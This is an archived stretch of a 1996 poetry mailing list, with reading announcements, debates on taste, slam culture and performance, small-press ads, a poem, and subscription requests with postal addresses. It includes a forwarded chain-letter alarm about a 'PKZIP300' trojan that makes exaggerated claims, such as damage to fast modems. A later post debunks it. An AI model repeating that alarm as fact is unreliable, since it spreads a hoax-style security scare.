>
> *Hank Lazer*
> *2945 N Hampton Dr*
> *Tuscaloosa, AL 35406-2701*

ditto. -- i'd very much appreciate this, too:

c. peters
dept. of english
simon fraser univ.
burnaby, BC canada
V5A 1S6

↑ Index

196. Mark Roberts
AWOL's Virtual small press bookshop
Tue 9 Apr 1996

Just to let people know that AWOL has begun to upload its Virtual Bookshop onto its www site. If you are interested AWOL's address is http://www.ozemail.com.au/~awol

Take a look and see what you think. Better still order a book!! All prices are in Aust dollars but can be converted to US$ or UK pounds or whatever. Send any comments/suggestions to [redacted]

_____
Mark Roberts
Student Systems Project Officer
Information Systems
University of Sydney NSW 2006 Australia
[redacted]
PH:(02)[redacted]
FAX:(02)[redacted]

↑ Index

197. Jordan Davis
this week in poetry (new york)
Tue 9 Apr 1996

---

white guys! white guys! white guys!

but Walter, how are we reproducing science? :)
or should I ask.

_____

To recap: Wednesday, Charles North (villified not long ago by Edgar Allen ((sic sic sic transit spelling)) Poe, but he's a 'pretty' strong subtle poet, looking forward to the selected from S&M) and David Lehman are reading up at Maison Francaise at Columbia.

Thursday, here at Poetry City, Ron Silliman (author of like a hundred books) and Lewis Warsh (author of like a hundred books.. just finished _A Free Man_ and I don't find my way through too many contemporary novels.. I strongly recommend _Free_ and _Agnes & Sally_ as just about as real and bedraggled as prose can stand), 6:30, free, lots of books for sale, it's National Poetry Month--_buy books_.

Friday, over at Segue, the profoundly charming Tim Davis will read poems from photographs. That's Segue Performance Space, 303 E. 8th (betw. B & C), 7:30

PM, and if you haven't seen Tim read, or you haven't seen Tim read for a year, you're due for a checkup from the Doctor!

Saturday, over at the nicest cave in town, the EAR, at 2:30 p.m. Chris "Lolla-palooza" Stroffolino and I will be reading our poems. I understand Chris will be bingeing on patent leather; I'm going maximum chiffon.

____ Hurry! But don't forget to eat! A copy of _Tjanting_ will be awarded after the Poetry City reading to the person who can best answer the question, "What are those black things under seals' eyes?"

↑ Index

198. Steve Carll

stop breathin', breathin' for me now

Tue 9 Apr 1996

At 02:29 PM 4/9/96 -0400, Chris S. wrote:
> Dear Mikl---Yes on PAVEMENT ambiguity (career-korea, like early REM etc)

Yay ambiguity!

> *But, it seems to me there is at least as much HEIRARCHY and SNOBISM and even a "star-system" in the slam scene as in the "avant-garde sophisticate" scene.*

I think any scene eventually (de?)generates this kind of hierarchy; it seems to be a facet of institutionalization. "Star-system" strikes me as particularly apt for the slam structure, or maybe any "populist" performance scene, which might explain why of all the poetries this one has been embraced by MTV. Which is not to say that being conscious of oneself as a "sophisticate" isn't another way of playing "star", only that MTV's not as interested in that particular mode at the moment.

> *We (was it Amato?) may say "WE RESPECT EVERYTHING" and that can be our public political stance, but at the same time there's always these DECISIONS to make, and these preferences.....*
> *so, should we just cop out and say it's arbitrary...*
> *or that so and so has a bigger name*
> *or that so and so is less of a threat*
> *or that so and so has done me alot of favors so therefore*
> *or that so and so is REALLY good in bed*
> *or sat up with me in my hour of DREAD...*

How about "so and so creates stuff that really fucks with MY personal head in a most righteous way"? That shouldn't mean any disrespect for someone whose work simply doesn't, should it? (But since you brought it up, who IS really good in bed? Never mind, knowing can only torment me :-)

> *why do so many people, when they talk of poetics, sound*
> *like politicians (me no excluded here)?*
> *"let me make this perfectly clear," etc----*

Well Chris, your question reminds me of something my daddy once said to me, he said "Son..."

Steve

↑ Index

199. Maria Damon
Re: Poetic Briefs
Tue 9 Apr 1996

---

sure, i'll take one two. (PB 20)
maria damon
128 racing beach ave
falmouth ma 02540

↑ Index

200. Thomas Bell
Re: Poetic Briefs
Tue 9 Apr 1996

Sane problem
Thomas Bell
2546 Hibbitts Rd.
Nashville, TN 37214

On Tue, 9 Apr 1996, Carl Lynden Peters wrote:

> *I had the same problem as Rae. Please send me Poetics Briefs:*
>
> *Hank Lazer*
> *2945 N Hampton Dr*
> *Tuscaloosa, AL 35406-2701*
>
> *ditto. -- i'd very much appreciate this, too:*
>
> *c. peters*
> *dept. of english*
> *simon fraser univ.*
> *burnaby, BC canada*
> *V5A 1S6*

↑ Index

201. Mary Rising Higgins
Re: Happy national poetry month
Wed 10 Apr 1996

So, like if I break out Von Hallberg's american poetry & culture will I find an answer to the question: What does which poetry have to do with whose idea of culture anymore...??

mary

↑ Index

202. Bob Holman
Poetry video
Wed 10 Apr 1996

Point being, I guess, that we evaluate what we come into contact with and too few come into contact with poetry. Just a point of view here, that po lightens and brightens and changes the world when language gets real in a way like love. Also we can rock em.

To me, big difference in being a poet is that indeed we are those who presume, as Joe says, to be so, as opposed to, say, those who might presume to be a medical doctor. Good carpenters generally make a living at it. Do poets? Good poets? What the Slam is all about, I think, is giving the naming-of-poets power to people in a Wonderland way. Which is, I maintain, better than no way at all, and can be rough fun. Also, can be boring and predictable. Hand me that Fat Side of the Post Century Millennial, maybe I can find the 100% correct spelling there.

When Ismail Azim-El says the CIA was formerly known as the SS in his It s so hot today poem in USOP (show #2), does it upset because of politics or aesthetics or is it written off for the same (or other) reasons?

Who says that performance complicates poetry ? That s great! My impression is the opposite: performance simplify to a single chord or visual or whatever. I didn t get Creeley till I heard him read -- then I saw the space around the lines as part of poem, heard his words as containers of emotion. For me, the poem is what is transmitted as the poem however it s transmitted.

Poetry for me provides voice for the unheard. That is a language issue.

Now back to this Hall character. I was hoping the Dovetonsils reference would pitch us into a TV tour of Literature -- far I know, Percy was the first ever on TV and the first time I saw a living poet, and it was hilarious and made me angry because he was too easy. Hall s pose, too, is to make fun of your saying he s too easy within a performance you ll think too easy, like Dumb Art. Btw, what did you think of Lord Buckley s appearance in show 1?

To Wystan, yup, that was me at MAndre s loft, frontchannel greets. To Cris Creek, backchannel me info on who to get with re: USOP on Brit Tv, and thanks for some great reading/listening leads. And dear Simon, when I am PoLariat You ll be my Queen! except I think I go for Tom Clark (& party!) to lead the way -- he s more experienced at these PoWars than I.

Bob Holman

↑ Index

203. **Bob Holman**
National Poetry Month
Wed 10 Apr 1996

Thanks, David Bartier, for the Hass scoops. I have taught from his River of Words curriculum, and enjoyed esp. his essay re: Duncan and spawning salmon. I had a pleasant enough chat with him 3-4 weeks ago and set up an inteview for iGuide (http://ww.iGuide.com/music/poetry) which he blew off, just up and disappeared. I finally roused his assistant yesterday (three weeks later), when Ileft a message I'd composed questions _and_ answers myself ala Berrigan-Cage and wondered if Bob would like to see the thing before I publish it....

↑ Index

204. **Bob Holman**
Michael Smith
Wed 10 Apr 1996

"Michael Smith was on the threshold of consolidating a rapidly rising international reputation as a poet when he was murdered by supporters of the Jamaican Labor Party on 17th August, 1983" writes Linton Kwesi Johnson on the back cover of "It A Come: Poems by Michael Smith" (Race Today Publications:London, 1986). Smith's first LP, "Mi Cyaan Believe It," had just been released by Island Records.

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205. **Chris Stroffolino**
Re: stop breathin', breathin' for me now
Wed 10 Apr 1996

(write it on a postcard) Dear Steve C. Do you think the question of heirarchies relates to what Henry Gould called taste? The ambivalence here, for me much of the time, relates to the "division" between "public" and "private" in many ways. If the so-called private is really public, which I believe it is, then the "subjective" can be considered as legitimate as the so-called

"objective" (which is really subjective). Thus, the link of private with subjective and public with objective can be blown apart or simply ignored and seen as false as if we aren't "always already" corrupted by the linguistic grids we're (i mean I) trained in from elementary school or wherever. Thus, I disagree with Gould on the point of trying to find a "lost paradise" or some primordial Wordsworthian childing dancing on the shore--but I am interested in "dwelling in possibility" (as well as in prose) and so I can not claim FULLY AND ACCURATELY what, indeed, my taste is. And I suspect others who claim they can as boxing themselves in (like Perelman's great pun on the spectators who "MUST FIND WHAT IDENTITIES THEY CAN"). Yet, at the same time, I feel to some extent OBLIGATED to question others when they claim to be "democratic." Perhaps, it's because I've been raised in a country in which this word is pretty much a meaningless buzzword. Now, what is TRUE DEMOCRACY (aside from a Steal Pulse album with that great song "ravers" on it---whoops, ron silliman, unintentional typo)? is it perhaps a democracy that admits of heirarchy, admits of the arbitrariness of taste, admits of individuals, and to be honest I feel a lack of such a world. I guess I'm afraid to offend people by saying "this doesn't work for me" or afraid that I will end up eating my words because suddenly tomorrow it a poem I derided today as drivel may become the ONLY THING THAT GETS ME THROUGH that day.... And then when it moves from "poems" to "poets" to "scenes" to whatever, there arise all these questions of "package deals". And I know I should not let these things worry me, but do I now? But in lieu of simply shutting up about it--"I won't tread on you if you won't tread on me"--I also have been absolutely SHAKEN (in a way I call positive) by the "fools who rush in where angels fear to tread" and who dare say things like "OF course, Pound is stupid" or something. It quickens the reactive mind, and Pam Rehm somewhere has that great think about "locate CREATION in REACTION" and thus perhaps maybe it would be a more TRULY DEMOCRATIC world if we did away with the "trickle down" theory of Democracy and actually delineated exactly what has MOVED US up to this point and what has NOT...even if such a delineation will seem heirarchical and subjective. This doesn't mean that one becomes immune from questioning, but that such questions will not be merely asked by one's self, but by others. I am curious as to what "liking everyone equally as poets" (as I understand Maria Damon's position) really means. It seems alien to me. Yet does that make me a snob? I hope not. I don't think poetry's necessarily an exalted activity. In fact, it may be a crutch alot, a neurotic activity, a compensation. Yet I'll DEFEND it against others who I see as just as deluded (Westerberg---"I suppose your guess is more or less as bad as mind" as a VERY empowering statement).This depends on "mood" and "need" as much as taste. For instance, I look at Shakespeare and I say "he must have really

needed to write that way" and perhaps that makes me democratic, joined to others by NEED..... but is it a manufactured need, ah, that's another question.... and I am drawn to poets who deal with THAT question too.... chris

↑ Index

206. Ron Silliman
Deadly Virus !!!
Wed 10 Apr 1996

Poetics gang,

The following is an internal IBM communique about a virus (thus I would presume this to be real and not a variation of the Good Times hoax).

Forewarned is forearmed.

Ron

*** Forwarding note from RADFORD --RHQVM14 04/09/96 13:42 *** To: TSS Service Planning - Raleigh

From: B. L. Radford
Information Center Analyst
8-[redacted] / [redacted]
SUBJECT: Deadly Virus !!!

FYI - be sure to read !!!

From: R. L. Bond, Consultant Liaison
SystemView Information Bureau
Dept/H15 Bldg/503 Loc/B324
Subject: FYI - DO NOT DOWNLOAD PKZIP300
fyi

DO NOT DOWNLOAD ANY FILE NAMED PKZIP300 REGARDLESS OF THE
EXTENSION!!!

WARNING!!!!! Read the following and take note for those of you who access
the web and ftp sites. . . BE WARE!!! Notify your friends and family and
total strangers too!!! We don't want to deal with anything like this what-so-ever!!!
>>>

>>>Hi all,
We work closely with the military and received this message from a very reliable source in DC this morning.

A NEW Trojan Horse Virus has emerged on the internet with the name PKZIP300.ZIP, so named as to give the impression that this file is a new version of the PKZIP software used to "ZIP" (compress) files.

DO NOT DOWNLOAD this file under any circumstances!!! If you install
or expand this file, the virus WILL wipe your hard disk clean and
affect modems at 14.4 and higher. This is an extremely destructive
virus and there is NOT yet a way of cleaning up this one.

REPEAT: DO NOT DOWNLOAD ANY FILE NAMED PKZIP300 REGARDLESS OF
THE
EXTENSION!!!

Thanks,
John Scheible
[redacted]
Regards,
Bill

↑ Index

207. Henry Gould
Re: stop breathin', breathin' for me now
Wed 10 Apr 1996

On Wed, 10 Apr 1996 01:46:12 -0400 Chris Stroffolino said:
Thus, I disagree
> with Gould on the point of trying to find a "lost paradise" or
> some primordial Wordsworthian childing dancing on the shore--but
> I am interested in "dwelling in possibility" (as well as in prose)

Well, I been accused of bein a meister-reductivizer too, so I guess I can take it. Everybody's got their own vocabulary for it, whether it's Platonic (humankind naturally seeks "the good") or Dante (direct your will toward the true good) or Poe (mankind naturally seeks the perverse just to be perverse) (all these mally-blanche authorities again, sorry), or real democracy & the Amurrican way - but I say we ALL looking for it. But what I was really interested in was the connection between dream & poetry - that poetry in english, for one example,

starts in "dream-vision" - & that sleep dreams have a linguistic texture - and that dreams are riddles or wishes - & that poetry "fabricates" vision in a related way. Prose fiction tends to "solidify" the dream in a realistic manner (I know I'm being reductive now) - whereas I see poetry playing back and forth in a more concentrated way between dream and act, script and performance. - Henry Gould

↑ Index

208. **Emily Lloyd**
darkly wise
Wed 10 Apr 1996

I remembered, in a weird flashbacky way, a line from the first poem that ever really got me...I was 5 or 6 and it was in some anthology of, I assume, dead white boys, and there was a line in it that went: "And if you be wise, be you darkly wise, darkly wise as a" <something something>...or something like that. At the time, I was so affected I tore it out of the library book, got in deep kimshi, etc...now I don't remember who wrote it. Does anyone recognize those lines? I've never come across them since. em

~~~
~~~

210. David Kellogg
Re: Poetic Briefs
Wed 10 Apr 1996

---

same same. please send poetic briefs to the address below.

Cheers,
David
~~~
~~~

cc: (bcc: Daniel Bouchard/College/hmco)
From: emilyl @ EROLS.COM (Emily Lloyd) @ SMTPIN
Date: 04/10/96 09:01:19 AM
Subject: darkly wise

I remembered, in a weird flashbacky way, a line from the first poem that ever really got me...I was 5 or 6 and it was in some anthology of, I assume, dead white boys, and there was a line in it that went: "And if you be wise, be you darkly wise, darkly wise as a" <something something>...or something like that. At the time, I was so affected I tore it out of the library book, got in deep kimshi, etc...now I don't remember who wrote it. Does anyone recognize those lines? I've never come across them since. em

~~~
~~~

213. **Charles Alexander**
Re: Happy national poetry month
Wed 10 Apr 1996

> *So, like if I break out Von Hallberg's american poetry & culture will I find an answer to the question: What does which poetry have to do with whose idea of culture anymore...??*

Here's somebody's minnesota-ish idea of culture, verbatim from flyer:

POETRY
ALIVE
at Mall of America
A Celebration of National Poetry Month
Friday, April 12th, 2:00 - 8:00 p.m.
Sears Court at Mall of America

Highlights Include

*A diverse collection of poets and performers will give staged poetry performances, including a Cacophony Chorus of area high school students called "Gen X-10," and jazz poet Debra Marquart with her band The Bone People. *A giant-sized, movable version of the wildly popular "Original Magnetic Poetry Kit"TM will be on hand for Mall visitors of all ages to create enormous and ever-changing poems. *Poetry Karaoke will feature local celebrities and Mall visitors reading from a diverse selection of poems. *Computer hook-ups will allow participants to contribute to a community poem that will grow throughout the day, and to interact with poetry fans nationwide through the Internet.

Performance Schedule for Poetry Alive!:
2:00 Mick Veck of the St. Paul Saints baseball team and poet Carol Connolly
2:30 Poetry Karaoke with local celebrities and mall visitors
4:00 Christopher Edwards interprets the work of Beat poet Bob Kaufman
4:30 Poet Diane Glancy
5:00 Poet Mary Moore Easter
5:30 Poets Jim Moore and Deborah Keenan
6:00 Gen X-10: A Cacophony Chorus of Twin Cities High School Students
7:00 Debra Marquart and the Bone People: Jazz Poetry

Poetry Alive! at Mall of America grew out of meetings sponsored by LitLink Minnesota, a unique collective of literary organizations that works together to create major educational and public awareness initiatives

POETRY ALIVE! Sponsors Coffee House Press, Graywolf Press, The Loft, Milkweed Editions, Minnesota Center for Book Arts, New Rivers Press, Original

Magnetic Poetry Kit, S.A.S.E.: The Write Place, Shout! Magazine, Writer's Voice Project of the Metropolitan Minneapolis YMCA

No comment. Culture with a capital Q.

↑ Index

214. Jordan Davis
seven tapes of ambiguity
Wed 10 Apr 1996

---

what screws up ambiguity
(for instance the song Steve's quoting in his subject line
sounds really great until you figure out it's about tennis..)
is how quickly it slides into ordinary meaning
or you don't go back and reread where's waldo
--Jordn

↑ Index

215. Emily Lloyd
Re: darkly wise
Wed 10 Apr 1996

At 09:25 AM 4/10/96 EDT, Daniel Bouchard wrote:
>I've never come across em since.

like AT&T...You Will <snap!>

Thanks Daniel. That was darkly <something something>.

~~~
~~~

TD RIDES...AHEM...READS AGAIN!!

THIS BLOODY FRIDAY, THE 12th
Segue Performance Space
303 E. 8th (betw. B & C)
7:30 PM

plus thirsty

love, timothymichael"phanerocodonic"davis

billiam, can you post this on the thinggy everyone reads and obeys? love t

↑ Index

217. - Kim Tedrow
Culture with a "Q"
Wed 10 Apr 1996

Charles Alexander writes:

> *Here's somebody's minnesota-ish idea of culture, verbatim from flyer:*

----snip-----

No comment. Culture with a capital Q.<<<<

Please explain "minnesota-ish" and "Q". I read it as non-complimentary.

First, Deborah Keenan, Jim Moore, Carol Connolly, and Diane Glancy are well respected poets. The list of sponsors, including the Minnesota Center for the Book Arts and Graywolf Press, is impressive.

Second, although I left Minnesota before the "Mall of America" was completed, and have never been there, I can well bet that hundreds of people that would *not* be inclined to seek out a poetry reading at a coffee house, University, or night club are going to get a good dose of it at the "Mall of America" that day. If the audience for poetry is broadened, _who_ loses?

Third and last, Poetry Karaoke sounds like *fun*, and a helluva lot more palatable than the floor-shaking-beer-soaked-karaoke renditions of Beatles songs sung in Vietnamese by my neighbors all weekend. (I think I'll head to Radio Shack for my karaoke system this weekend!)

Minnesota-ish (whatever that means) still, altho in D.C.,
Kim
[redacted]

↑ Index

218. Mark Wallace

DIU release

Wed 10 Apr 1996

I hope some of you have seen the hilarious satire on the intentions of the recent NYC Poetry Talks conference that was just released on Chris Funkhouser's Description of Imaginary Universe's listserve.

It's an incredibly subtle move--now, the avant garde is free to endlessly satirize its own intentions, while the rest of the world goes about its business, completely oblivious to our existence. And rightly so, since we're an amazing bunch of pompous windbags who have no business getting involved in serious matters. Thank goodness someone finally is speaking up about the incredible pointlessness of taking avant garde poetry seriously. And thank god we realize now that there are so few of us, since it saves us the trouble of thinking we might have some sort of positive effect on anybody's life.

Even better, we can now all go to permanently closed parties where we can each endless make fun of each other without having to worry that other people will show up. That way, we don't have to worry about social context at all, but can simply speak to those of us already in the know about our own foolishness. After all, it's incredibly frustrating to have to talk to people who haven't been wasting their time reading Charles Olson. Maybe we can even have sexual affairs with each other, and talk about them behind our own backs!

What I want is to be locked forever in a room (like in the original Star Trek episode) with the writer of the DIU satire. The two of us could undermine our own pretensions for all eternity, without fear of intervention, or any stupid stuff about how to balance the need to survive with the desire to behave ethically.

Here's an idea--let's go to Newt Gingrich's office and do a sit-in protest where we'll prove to him the irrelevance of all literature and humanistic activity, especially that of the avant garde. We could even wear funny hats while we mock ourselves! And maybe, while we're at it, we could get a few Republicans to mock us too. Wouldn't that be really radical and satirical? Wouldn't that really screw things up? We'll make plenty sure that no one ever takes us seriously again, you can bet!

I feel so free.

Mark Wallace

↑ Index

219. chris daniels

Caesura at copan

Wed 10 Apr 1996

Caesura at copan

eighteen-rabbit
put the voynich-
worm in your brain
from too much kissing trepha dogs

comforted by pariahs
weeping you woke trephinated
in dark stone arms
curling round yggsdrasil's
foliaten hands to guide
sternufrage phaistoscion its warp through
to your radical head

2

werewarp hound's
distended muzzle
strangely
and the throated lungs
flap singed by shards of black fire

red pillar rising
from your spasmodic crown

3

o harrier of swifts!

4

you who built mountains
with brontother jetsam
in the mezhirist forest

smoke rears
from ichor-bowls
in the peak's gullet
where you dance
your swidden
point-a-flechette

pierced for tlalocuedjet
spewing venom

godbones' truth

speaking nothing

  for jake berry
  at the witz monster's mouth

****

komments, anyone?
must run to "woik"
th sun has jes pipped troo th kokoninan "winda"
"pottin" is such switt "sorra"
later
---
christopher daniels <[redacted]> 4.10.96 8:34:20 am

q: "how can you be revolutionary when 20 years ago they
 said anything goes?"
  --- charles wuorinen

a: "free yr mind and yr ass will follow."

  --- george clinton

snail: 1474b 7th st berkeley ca 94710 usa
voice: [redacted]
http://users.lanminds.com/~kunos/ (constructing)

↑ Index

220. Daniel Bouchard
Re: DIU release
Wed 10 Apr 1996

Mark Wallace wrote:

I hope some of you have seen the hilarious satire on the intentions of the recent NYC Poetry Talks conference that was just released on Chris Funkhouser's Description of Imaginary Universe's listserve.

<cut> we're an amazing bunch of pompous windbags
<cut> Thank goodness
<cut> And thank god

_____

Mark,

Is this for real? Where does one find it?

[redacted]

↑ Index

221. **Joe Amato**
Re: Poetry video
Wed 10 Apr 1996

bob's and chris s.'s posts tweaked me into considering that there's a language issue (and more than this, again) buried in this discussion of poetry vs. performance that's mebbe worth pulling out some... and it has to do with why, for example, whenever i try to 'explain' poetry to folks who're used to using language in a more scholarly way (like, say, most philosophers), i end up talking about the 'performative' aspects of poetic language...

i mean, for many people, poetry as a language art is *already* a performance... it's already, that is (and here i'm avoiding various complications of varying aesthetics, or for that matter austin's remarks re 'performatory' utterances) *coming to you* as a poem, i.e., embodying a subject-presence that's quite a bit different than, say, that of research reports, or for that matter of most novels... and i don't mean at all to privilege poetry here---just to try to get a hold of its---is it telos of presence only? (no)---which tends methinks to complicate the subject(ivity) inherent to such writing, as an 'act'... which is complicated further by variations in language practice (dia or idiolectical) which presume more or less upon various such presences, be they aural or what have you...

when poetry comes at us in-the-flesh, or in the representation (or as the case may be, non-representation) of flesh (as in video), the performative is incarnated a step further... and this is kind of interesting again from the pov of what the invention of writing, as havelock put it, tended to do---separate the "knower from the known," over and against oral culture, say... which suggests perhaps that those of us keyed to the written word---which itself glosses distinctions twixt pixel and print---value performance in terms of---is it the control? or lack of same?---that authorial 'absence' (death?) implies... in fact i would argue that pixel reintroduces, as a result of literal and figurative connectivity with other on(the)line bodies (that's you folks) a virtual presence... it's the collective ghost in our machines (whatever the platform) that appears whenever we boot up, b/c our word processors work side-by-side with our network connections (not to mention the formal differences twixt pixel and, say, ink, depending on your sensitivities)... and the resultant screen blur blurs in fact even our literacies, b/c we can use, e.g., the 'talkier' aspects of ascii to communicate such, uhm, sophisticated thoughts (see footnote 2a, above)...

just thinkin aloud, is all...

joe

↑ Index

222. **Joe Amato**
Re: DIU release
Wed 10 Apr 1996

---

well it seems to me, anyway, that satire works best when it's accomplished with reform (at least) in mind... it's not that we (i mean all 130 of us, or 400 of us, or whatever) don't have our shelleys, our gadflies... to say so, as i see it, is to miss the point entirely... the problem right now is the tendency to regard *any* agenda as inherently self-serving...

and this just ain't so... not unless you're ayn rand... which is not to say that everybody doesn't *have* an agenda, but that there are those who would like to make a positive contribution to something outside of themselves..

so my problem with the diu piece---and with the edgar allen poe pieces in fact, and with some of the news blurbs that came out a year or two back on this list---is not that they ask for a sense of humor (i hope to hell mine has remained intact), but that they ask for a sense of cynicism.. which in fact, right now, is all too ubiquitous... and i say this w/o any rancor, and certainly not to demean in any way chris funkhouser or anybody else... but it's the reason i stopped reading that piece in particular after about the third para... and in all fairness to diu, the general drift of that ezine would seem at times to be to indicate the relative futility of various poetic agenda in the face of more global desperations... and yet in doing so, it seems to me that diu occasionally merely adds to despair... esp. wrt the political climate we're, many of us, experiencing...

so i have to observe with mark w., though mebbe i'm observing it a little differently, that such pieces in fact ask me to consider only my own hopelessness... as hacker culture would have it, a 'fuck me harder' sentiment (sorry if i'm offending here, but it's an appropriate reference)... and i see this not only as in part a response to academic job woes, but a reflection of public helplessness... and i guess i'd rather be working in a more constructively critical or creative mode, in my own little semicircles (which overlap with this poetics list), to make a different sort of contribution---which i trust is and is not a utopian sentiment... but which is less a critique of the diu piece, perhaps, than simply to say that i'm looking for other ways to provide for meaningful critique...

best,

joe

↑ Index

223. **Chris Stroffolino**
Re: seven tapes of ambiguity
Wed 10 Apr 1996

---

but jordan, i thought you played tennis with ron padgett

↑ Index

224. **Douglas Messerli**
Re: New Sun & Moon Press titles
Wed 10 Apr 1996

Dear Gwyn McVay,

You may order directly from our website:
www.sunmoon.com or through E-Mail.
We don't yet accept credit cards, so
if you order the Mathews, I'll send the
book and bill you.

Douglas Messerli

At 09:01 AM 3/25/96 +0000, you wrote:
>Dear Douglas,
>
>I'd love to order the Mathews--do you prefer to deal with e-people via
>credit card or check?
>
>Regards,
>
>Gwyn McVay, a big Sun &Moon fan
>

↑ Index

225. **Henry Gould**
Re: Poetry video
Wed 10 Apr 1996

On Wed, 10 Apr 1996 10:47:59 -0500 Joe Amato said:
>do with why, for example, whenever i try to 'explain' poetry to folks
>who're used to using language in a more scholarly way (like, say, most
>philosophers), i end up talking about the 'performative' aspects of poetic
>language...
>i mean, for many people, poetry as a language art is *already* a
>performance... it's already, that is (and here i'm avoiding various

Barbara H. Smith's definition is still relevant: "poetry is the imitation
of a speech act"
- H. Gould

↑ Index

226. David Baratier
oops
Wed 10 Apr 1996

Availiable now from Pavement Saw Press

Oops by
Chris Stroffolino

Features poems which have appeared in Sulfur, Talisman, Lingo, TO, Caliban, New American Writing, American Letters & Commentary and others.

64 pages, perfect bound in attractive purple cover with smiling picture of the author on the back.

The book is $6.95 including postage and handling.

Checks made out to Pavement Saw Press / 7 James Street / Scotia, NY 12302

Thanks

[redacted]

↑ Index

227. Michelle Roberts
Re: contrasimilacrum
Wed 10 Apr 1996

On Sat, 6 Apr 1996, David Baratier wrote:

> Been off line for a bit, so ...
>
> As far as reading a poem or poet due to a book of criticism
> That's nice. Albiet rare. It's been my experience
> that recent criticism includes such a sparsity of quotes,
> such a poverty of experience to rely upon, only the barest minimum
> necessary to validate the particular critical lens.
> That has become the net value of poetry for most critics.
>
> I find a few mentions of a text hardly enough to pick it up, rather
> it's comparisons, mentions of the subject material, and the passion of

> another reader that lend my eye to any book's pages.
> Unfortunately the binary dicotomy of much of the criticism hinges on
> one strand:
>
> You either create the work or insult it.
>

David,

I really think it's too bad that criticism takes that turn, the turn where it's getting too far away from the work considered, becomes too self-referential or self-conscious of it's frame/lens/whatever. Now, I realize that my phrase "too far away" is disgustingly vague, but I think that criticism, like poetry or fiction or visual arts, goes through periods or phases. I think that our current phase is one in which criticism is looking more to philosophy than to poetry. I think that's one source of the tension. The other, as Hank Lazer pointed out to me, is academic -- in lots of schools CW and English are seperate departments and they have to compete for funds, thus they bash each other. But this gets bigger, I think that the culture of academe is one that operates through contention, competition and general nastiness because as a collective "we" don't seem to want imagine another "form of life" for ourselves. And unfortunately, if you really think that one "either creates work or insults it" then I suspect that there's too much poorly rendered and poorly thought-out criticism. But there's a whole lot of really bad poetry too. As far as I'm concerned, and I used to argue hard with my grad-student-would-be-critic-non-poet friends, poetry and criticism and philosophy and art and the "world" are all interdependent at some level and feed each other over time. It may just be a matter of personal temperament -- I tend to think that all tensions that share this sort of "academic structure" and that therefore handicap productive, fresh, interesting thought and practice are really very "MLA" in the sense of being showy, distracting, and superficial. I'm indicting persons here, so please don't read me that way, I'm indiciting the practice of empty animosity.

Should I stop repeating myself?

Meaghan

↑ Index

228. Charles Alexander
Re: Culture with a "Q"
Wed 10 Apr 1996

> *Charles Alexander writes:*
>
> *Here's somebody's minnesota-ish idea of culture, verbatim from flyer:*

> *----snip-----*
>
> *No comment. Culture with a capital Q.<<<<*
>
> *Please explain "minnesota-ish" and "Q". I read it as non-complimentary.*

Q just because I take it to be curious, as the letter is, although I love the letter. Minnesota-ish because it seems in keeping with the populist bent in the state in a couple of ways, first that it's at the Mall of America, which is about as populist as it gets. Also that the activities themselves are certainly designed to reach/please as wide an audience as possible. After living in Minnesota for almost three years, I am struck that to many involved with arts organizations and philanthropy, the most important thing about the arts seems to be the number of people they reach. And clearly that is extremely important, although I wish it were mixed with an equal amount of talk about the content of the art in a variety of ways. While I can go along with making poetry into a mass cultural event (actually that sounds like a very good idea), I do sometimes worry about the ways in which this might happen. But I'm aware that such is my point of view, and I don't mean to insult anyone else's.

And yes, the poets themselves are fine. I am particularly interested in Diane Glancy's work. It's more the gigantic poetry kit & the karaoke which I find somewhat overboard in terms of making poetry into a pop culture item (and I like quite a lot of pop culture). I would probably prefer the karaoke Beatles which you found unpalatable.

But you're right, Kim. If the audience for poetry is broadened, no one loses.

charles

↑ Index

229. **Rod Smith**
Re: Deadly Virus !!!
Wed 10 Apr 1996

This was sent to me by a friend I forwarded the warning to:
********** From the Data Fellows (http://www.datafellows.com) virus database (Data Fellows is the company that distributes F-Prot Professional)

Computer Virus Information Pages

NAME: PKZ300
ALIAS: PKZIP300

This is not a virus but a trojan. Warnings about this trojan have been exceptionally widespread and
have been circulated since early 1995.

This is a trojan, so it does not spread: it can not be considered a realistic
threat. PKZ300 trojan is
not widespread but the warning is.

↑ Index

230. Jeff Hansen
Poetic briefs
Wed 10 Apr 1996

I posted an ambiguous message a few days ago. I'm sorry. Poetic briefs is a snail mail publication in the midst of a promotion. We are sending a copy to anyone who would like to see what it's like. If you like it, you can subscribe. We've been around since 1992, and we have published poetic theory, manifestoes, and reviews. I've been told that some have tried to reach my e-mail and been rebuffed. Either keep trying or send to Mark Wallace, [redacted], and he'll forward to me.

Also, we are looking for articles of 1,000 words or fewer on the issue of "vision" or on Alice Notely for issue 21. The deadline is June 5. Send article by e-mail.

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231. Sheila E. Murphy
Re: Happy national poetry month
Wed 10 Apr 1996

At 12:28 AM 4/10/96 -0400, you wrote:
>So, like if I break out Von Hallberg's american poetry & culture will I find
>an answer to the question: What does which poetry have to do with whose idea
>of culture anymore...??

What a question!!!!! We were just thinking/talking about you! Received a most welcome mystery sort of call from Changing Hands Bookstore, letting us know that something is arriving in the mail from you for "me birthday." Bless you, bless you, dear one! You need not be doing these extra things. Your presence itself is a gift.

Yours truly's off to take care of relevant and pressing errands relating to work this afternoon. Been a busy morning, too.

Getting wildly busy. Presented for two straight days (well, two days, anyhow!) for the University, to a group of state agency managers. This is an ongoing effort/relationship I have with the University. A lovely and rewarding one.

There are segments of "Letters to Unfinished J" to be entered into the computer, too. THings done by hand.

How do you like this delicious modem stuff????

Love,

me

↑ Index

232. Christopher L. Filkins
Deadly Virus!!!
Wed 10 Apr 1996

Ron et all gang

It should be noted that pkzip has not been released above 200. Hence any pkzip above that version is to be suspect.

christopher

> *Poetics gang,*
>
> *The following is an internal IBM communique about a virus (thus I would presume this to be real and not a variation of the Good Times hoax).*
>
> *Forewarned is forearmed.*
>
> *Ron*
>
> **** Forwarding note from RADFORD --RHQVM14 04/09/96 13:42 ****
> *To: TSS Service Planning - Raleigh*
>
> *From: B. L. Radford*
> *Information Center Analyst*
> *8-[redacted] / [redacted]*
> *SUBJECT: Deadly Virus !!!*
>
> *FYI - be sure to read !!!*
>
> *From: R. L. Bond, Consultant Liaison*
> *SystemView Information Bureau*
> *Dept/H15 Bldg/503 Loc/B324*
> *Subject: FYI - DO NOT DOWNLOAD PKZIP300*
> *fyi*

> *DO NOT DOWNLOAD ANY FILE NAMED PKZIP300 REGARDLESS OF THE EXTENSION!!!*

WARNING!!!!! Read the following and take note for those of you who access
the web and ftp sites. . . BE WARE!!! Notify your friends and family and
total strangers too!!! We don't want to deal with anything like this what-so-ever!!!

Hi all,
We work closely with the military and received this message from a very reliable source in DC this morning.

A NEW Trojan Horse Virus has emerged on the internet with the name
